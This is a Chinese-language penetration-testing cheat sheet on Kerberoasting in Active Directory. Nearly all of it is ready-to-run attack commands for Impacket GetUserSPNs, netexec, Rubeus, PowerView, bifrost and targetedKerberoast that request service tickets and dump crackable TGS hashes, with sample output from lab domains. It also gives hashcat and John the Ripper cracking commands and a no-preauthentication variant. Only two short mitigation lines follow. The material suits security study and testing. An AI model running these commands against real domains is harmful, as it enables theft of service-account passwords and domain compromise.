跳转至

Roasting - Kerberoasting

"服务主体名称(SPN)是服务实例的唯一标识符。SPN 由 Kerberos 身份验证使用,将服务实例与服务登录帐户关联。" - MSDN

任何有效的域用户都可以为任何域服务请求 Kerberos 票据(ST)。收到票据后,可以对票据进行离线密码破解,尝试破解运行服务的用户帐户的密码。

GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
LDAP        10.0.2.11       389    dc01           [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
LDAP        10.0.2.11       389    dc01           $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
# 统计
Rubeus.exe kerberoast /stats
-------------------------------------   ----------------------------------
| Supported Encryption Type | Count |  | Password Last Set Year | Count |
-------------------------------------  ----------------------------------
| RC4_HMAC_DEFAULT          | 1     |  | 2021                   | 1     |
-------------------------------------  ----------------------------------

# Kerberoast(RC4 票据)
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt

# Kerberoast(AES 票据)
# 在 msDS-SupportedEncryptionTypes 中启用 AES 的帐户将请求 RC4 票据。
Rubeus.exe kerberoast /tgtdeleg

# Kerberoast(RC4 票据)
# 使用 tgtdeleg 技巧,枚举并 roast 未启用 AES 的帐户。
Rubeus.exe kerberoast /rc4opsec
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
# 对于每个没有 SPN 的用户,尝试设置一个(滥用 servicePrincipalName 属性的写入权限),
# 打印 "kerberoast" 哈希,然后删除为该操作设置的临时 SPN
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]

然后使用正确的 hashcat 模式破解票据($krb5tgs$23= etype 23

模式 描述
13100 Kerberos 5 TGS-REP etype 23 (RC4)
19600 Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
19700 Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt

无预身份验证的 Kerberoasting

如果攻击者知道一个不需要预身份验证的帐户(即可进行 ASREProast 的帐户),以及一个(或多个)目标服务帐户,则可以在不控制任何 Active Directory 帐户的情况下尝试 Kerberoast 攻击(因为不需要预身份验证)。

netexec ldap 10.10.10.10 -u username -p '' --no-preauth-targets users.txt --kerberoasting output.txt

缓解措施

  • 为具有 SPN 的帐户使用非常长的密码(> 32 个字符)
  • 确保没有用户具有 SPN

参考资料